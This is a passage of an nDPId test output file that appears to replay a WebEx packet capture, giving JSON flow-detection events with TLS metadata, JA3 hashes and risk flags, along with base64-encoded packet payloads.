2Hzclzi3q+SiEfev2tJudnpEvRMWpVSKV2LXURdVH8U2o1372iylNiJCZT09KlUfkrxYU4N89A\/vnhmzqxQRy\/XRuLgKbUXvBKpr965AgdOBQ1UOjR9ssZes3Mwd1+y57S8qJ\/K66iFyIufxsa620sBJ9dGoqC9UrOLL1FUd4NViOrTCWlMXGetNRkwskmJgfCd79OPNFsbl8mrjHGjY4vuv2jRpRQ83MOifldMLRH4JGYvQWCiAAD9DCCA\/AwggLYoAMCAQICAwI6gzANBgkqhkiG9w0BAQsFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NloXDTE2MTIzMTIzNTk1OVowSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCcKgR3XNhQkToGo4Lg2FBIvIk\/8RlwGohGfuCPxfGJziHuWv5hDbcyRImgdAtTT1WkzoJile7rWV\/G4QWAEsRelD+8W0g49FP3JOb7kekVxM\/0Uw30SvyfVN59vqBrb4fA0FAfKDADQNoIc1Fsf\/86PKc3Bo69SxEE630k3ub5\/DFx+5TVYPMuSq9C0svqxGoassxT3RVLix\/IGWEfzZ2oPmMrhDVpZYTIGcVGIvhTlb7jgEoQxirsupcgEcc5mRAEoPBhepUljE5SdeK27QjKFPzOImqzTs9GA5eXA37Asd57r0Uzz7o+cbfe9CUlwg01iZ2d+w4ReYkeN8WvjnJpAgMBAAGjgecwgeQwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFErdBhYbvPZotXb1gba7Yhq6WoEvMA4GA1UdDwEB\/wQEAwIBBjAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9nLnN5bWNkLmNvbTASBgNVHRMBAf8ECDAGAQH\/AgEAMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwDQYJKoZIhvcNAQELBQADggEBAKr6qSDNameD7V7Uft4dxH\/gJQYAxST7qcgtbX7enYJlLIFjNGY+6VLCCLTLL\/dfmTpqnFB6hQWMfdEqSITTCWx8ws01n\/OC7lLeaF\/kAIoXIJb3KY2aTcuo3obIDW9WhwN9Az\/c+nl9IRn5yDovUXaMx0GScY8lzjf4SkwAI+\/ENRCu4COAc3xNNC7IbpDWEB6ZhHMacPLtVQ7uFwbqZ+4y6yzdZwc\/9ovCcN5bAOa7G9M2GiJsbLA1QmyQCT2T6WQJIg6FBp\/CcyHT5l+A5I2FIjpzA7Fgjq5o4vQ+l+dgEgloNt461uJDlVs3gZKBH7uN161SZBZXltleNH7INdgAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hxa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwMBTQwAAUkDABdBBIaKNVmPKL3TXXfhqMLDWuNGuVEzZureya0ML+MyYUl5oX8b7lGhet1wfigTSCer1FgnvtMkLDpU2KzVIU4FEgwGAQEACjO0VooNP1L6232eswqmLt\/1deu7q3pXGl44Jso6LvWSKYw1C7GnaJTLN+Vu2BAlYMazfva\/KG14DJLJcn63aooqWw6UnUr\/YLfSQIyKmPVbsvo\/vCtiw16J5eKpYkUTXOowdDWqJzfpnNc\/nvp9DYi3Z3Up8G5WJ3obs\/AcVqRCDkZXqmMTbIadu\/TDtG2L5fsDjNgV9vI9gn\/uWjFmo\/gPd1CkZpVRnqrWikJGDKE9Z+n+Me\/0lLxabZBRTPYb36gWdRsdNF\/8I+x2jBPiEVhOAa\/UtlAKTqDPo0etmhQuyNJSi39NvqO3zgYxYpnDMrLT5JVnPNqRwZH5dt0clhYDAwAEDgAAAA=="} +01257{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":543,"source":"webex.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":6,"flow_first_seen":1444570638225,"flow_last_seen":1444570640491,"flow_tot_l4_data_len":4064,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3717,"flow_avg_l4_data_len":677,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"216.58.208.40","src_port":43433,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ssl.google-analytics.com","server_names":"*.google-analytics.com,app-measurement.com,google-analytics.com,googletagmanager.com,service.urchin.com,ssl.google-analytics.com,urchin.com,www.google-analytics.com,www.googletagmanager.com","ja3":"75edb912bc6f0a222ae3e3e47f5c89b1","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.google-analytics.com","fingerprint":"E0:F0:1E:71:F2:B5:D9:2D:F7:4E:8F:CB:10:37:17:7C:0C:C4:07:9D"}} +00408{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":491530,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoUSBAAEAGN0QKCAAB2DrQKKmpAbtoC5Njl\/R78lAQSDX6eAAA"} +00582{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":592124,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"ABoRAAACABoRAAABCABFAACmUSFAAEAGNsUKCAAB2DrQKKmpAbtoC5Njl\/R78lAYSDUnbQAAFgMDAEYQAABCQQQARi2Sq6lomOqdBwTXeK+7\/VSCE644W9ePmSa9EWlwoNhBkPWiERqUZ6KGC\/aDzofvpP6QqC1qdhwZ214CYXZcFAMDAAEBFgMDACiMfFcaI1hpldHeUclqaHBcFUg1h+fECh+\/j1y52hpRJWkfYJdr7o0+"} +00409{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":592914,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAg9AABAGtlXYOtAoCggAAQG7qamX9HvyaAuT4VAQ\/\/9CMAAA"} +00589{"flow_id":35,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":593166,"pkt_caplen":183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":183,"pkt_l4_len":149,"pkt":"ABoRAAACABoRAAABCABFAACpAhBAABAGn6hQSm5ECggAAQG7guimeYnBWYZ3GFAY\/\/\/TtAAAFgMBAFECAABNAwFWGmYw1S2SuQizrUA2AASo1\/xNI5gqSv2km0LL+94AiyBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgAEAAAF\/wEAAQAUAwEAAQEWAwEAIAtAOY9Gt7feGYdDv\/ZQ6IBSs9DH9KrW9HIkjyflxg+V"} +00759{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":547,"source":"webex.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":6,"flow_first_seen":1444570640385,"flow_last_seen":1444570640593,"flow_tot_l4_data_len":485,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33512,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"6dfe5eb347aa509fc445e5628d467a2b","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00407{"flow_id":35,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":593288,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAosmVAAEAGv9MKCAABUEpuRILoAbtZhncYpnmKQlAQPLgkhwAA"} +00467{"flow_id":35,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":549,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":643888,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"ABoRAAACABoRAAABCABFAABTsmZAAEAGv6cKCAABUEpuRILoAbtZhncYpnmKQlAYPLgwbgAAFAMBAAEBFgMBACB3tOPNrA1yIPhgJ2zXsFBvVf8GU6w+9JhDmg6WwOMMyw=="} +00409{"flow_id":35,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":550,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":644580,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAhFAABAGoChQSm5ECggAAQG7guimeYpCWYZ3Q1AQ\/\/9hFAAA"} +01141{"flow_id":35,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":551,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":645012,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAsmdAAEAGvbkKCAABUEpuRILoAbtZhndDpnmKQlAQPLjDwAAAFwMBAjQDIJpLXwa0vBdcZzWJIeCaaxC8+OlCiSPDy4XgIohJ4452hNiAuVoUS2RwUE3ivnnk43MpLUN93m8M0UrcrrAqGEb5x4poenB9NrUbbMGuAOckMsLBV9vsw\/jbAf\/cDTHspnxpH+RC\/Ym8GZ0gq9FFUZ2dfq0OyG\/13pCYdjXNL8iLdcyg3CKSgmGpg8e5iaQDKt8Z\/g+HEhG7MARPgB4wTu3ZLl\/QBWKKWRc5GixPIv+clthuDX1dZrXPfxXEsRQk7QW4bAMR+pppB3AGAZyg4F6UjXG1j1WxNyokcOtJhVSbrkg0XXcbq6KvbsqncEqVqfJS0IMhuR5FJ9UpTJsJKNtiIeub1payQahrvMInh0s5fsJhboT4nqRTK8IvDjXeWiV9i5cdrCiQ5s9+lu6Gr+C\/A1fc2gzQLCPMtOAdJgSDbOerq3\/5gQWLj56rfdoQoZvpv+97VGo0dxF+MW3zQ+P\/O8FVc67QXo\/YG6b4lHXdcMPrSz\/yBNTFU13gjupJEw+pJkUUXUSJICFPWrgcZeFb1YPoHl4Ka+Z42udoxLAoHst8DKP29AK6pW85NzBkwo94X3c6\/l7+bnDWkxo53RBDznq\/UJPQBKK1XyvO2nlyW4abcz7ZFfriZWP68T2ACAAdpLH4wgGTUJKFaDj5ZFlqrUia\/a1uI1X0AKJzoIH+dpIlR+n76mGMPdtKvQeDXb8="} +00411{"flow_id":35,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":646157,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAhJAABAGoCdQSm5ECggAAQG7guimeYpCWYZ5W1AQ\/\/9e\/AAA"} +00452{"flow_id":35,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":553,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":646620,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"ABoRAAACABoRAAABCABFAABJsmhAAEAGv68KCAABUEpuRILoAbtZhnlbpnmKQlAYPLgXVwAAp0MLH2CbJQYhnupAbl4vEJny6r098rHOF3oCZdQVsgsV"} +00410{"flow_id":35,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":647188,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAhNAABAGoCZQSm5ECggAAQG7guimeYpCWYZ5fFAQ\/\/9e2wAA"} +01271{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":698322,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00766{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570641,"pkt_ts_usec":706899,"pkt_caplen":316,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":316,"pkt_l4_len":282,"pkt":"ABoRAAACABoRAAABCABFAAEuAhRAABAGtUrYOtAoCggAAQG7qamX9HvyaAuT4VAY\/\/+EggAAFgMDAM4EAADKAAGJwADEd5br9SMNDvXhzvcONgP0H2T7yR4EP46U+N7N+5JmcpYB9eIKlABqaHtQbU9PJzOs2cV4299TJ+B5FDBYJOVt5hMYIHM56A49cMgGirymFV3TRXz9Wty2d1IZachfpUzNpC4rk9oPzJRCeu1INvw4j7HhW1G+jaHMoLbap9FVS3H0X1LM2xQoqlJXZqgmgLWodU8+YTfOYjlKgqJpxBwQahQvH8I9omutoQb88AwIV4fFND1Xji4FVkJemcQyw+T2kHqK\/hQDAwABARYDAwAoAAAAAAAAAAAPnDef60F0GXILgwnzGm83rO04c10DxGv7OPNnYaQieQ=="} +00409{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":557,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570641,"pkt_ts_usec":709377,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoUSJAAEAGN0IKCAAB2DrQKKmpAbtoC5Phl\/R8+FAQZRfcEgAA"} +01140{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":558,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570641,"pkt_ts_usec":816664,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAUSNAAEAGNSkKCAAB2DrQKKmpAbtoC5Phl\/R8+FAQZRcr2wAAFwMDAqSMfFcaI1hplsXlsnBi4ZBNPGSy\/nm717dW4\/+npyGSfC+BEYt5uyqhOBSXzfX3NMamEiKhF9bizRaaoIFTvFlMvZ9CnX3rH20UXVVZUOWiW22Ecp4SxBIK85cEAk9KNc1Nrwuo7niDGeYsJgdL4l1aIrfQb8QqDiY+GXsvb1ErLC5DCKuo2zINOYXqO3LkpGZzGgjwlxA7rByXwY24Q8AGxIBrFc1QhhKQcOsXKD1yiGVlasrTGKiHBE4PFOzDh+E7r9TojCy\/t5hfD1lSHkM9mMAc1a64Jt1eC2RypNC6Fx86vkXQSZaG+HmitDrYI6Xcoy3vSZ1p6gBuZv8l8rBOcxmCrdmiLaSTztFY694I\/wtGNJqy\/RUjE8tj5tMzam5NaeC7EUIxVgBTA14Q4YNt1g0ckXrGBAiEtUbYaWaC4r6ZuTHJEAuxdX11BqwROIPXfpJqoSXKRcv\/kIRAqs2nLiQ1\/6Mqdlw4l6YRR8RP9t2cP+swdD0Yk3r66pJVgcHxq9y21k0SQ8FaZOvC\/ih9Bu+YFx9DqlC8SPSUs1e1uQfR\/dXRJYRFtBgLwp2Y239dHR\/+cWJTk3WN+T+Qc7cj9xTpw2x\/eeC8hONv4VGakG4EbX9O29kSkopW9X3QKxe1IOIEa2eAItliAnSclvfIUUPvBF5B2QgBtwZijqt+PVMVW+fvFAnB4lJoz\/evlLL5JmQ="} +00412{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570641,"pkt_ts_usec":817674,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAhVAABAGtk\/YOtAoCggAAQG7qamX9Hz4aAuV+VAQ\/\/8\/EgAA"} +00612{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":560,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570641,"pkt_ts_usec":818059,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABoRAAACABoRAAABCABFAAC5USRAAEAGNq8KCAAB2DrQKKmpAbtoC5X5l\/R8+FAYZRfk\/AAAbWPxDcpBPt7Jt1CVWyyUVJM20584ue8CdnDdn3SGUOx\/uJiQg5WP3Vk35m3kKg+srzvbEqCMUpaqeVBr0DtOuKnw3Fse3etQ6ASNPhFhSUlZl08kBPTyk2TxuEJNKwKaDGsZo6jjJjsyvRe9gXqXc\/D0cYj02ykbMEC30HkRUlG15t3PcEXuE4B\/ipVVjByYew=="} +00410{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570641,"pkt_ts_usec":818840,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAhZAABAGtk7YOtAoCggAAQG7qamX9Hz4aAuWilAQ\/\/8+gQAA"} +01271{"flow_id":24,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":564,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570644,"pkt_ts_usec":691510,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00408{"flow_id":26,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":697284,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAofMVAAEAGd1kKCAABch3Ki7gfAbudV793YqhAyVAROQh1\/gAA"} +00411{"flow_id":26,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":698058,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAhhAABAGIgdyHcqLCggAAQG7uB9iqEDJnVe\/eFAQ\/\/+vBgAA"} +00411{"flow_id":26,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":699209,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAhlAABAGIgZyHcqLCggAAQG7uB9iqEDJnVe\/eFAR\/\/+vBQAA"} +00408{"flow_id":27,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":699944,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAonB1AAEAGTLgKCAABch3V1KMdAbtvG2AvkOSgEVAROQh\/twAA"} +00410{"flow_id":27,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":700604,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAhpAABAGFrxyHdXUCggAAQG7ox2Q5KARbxtgMFAQ\/\/+4vwAA"} 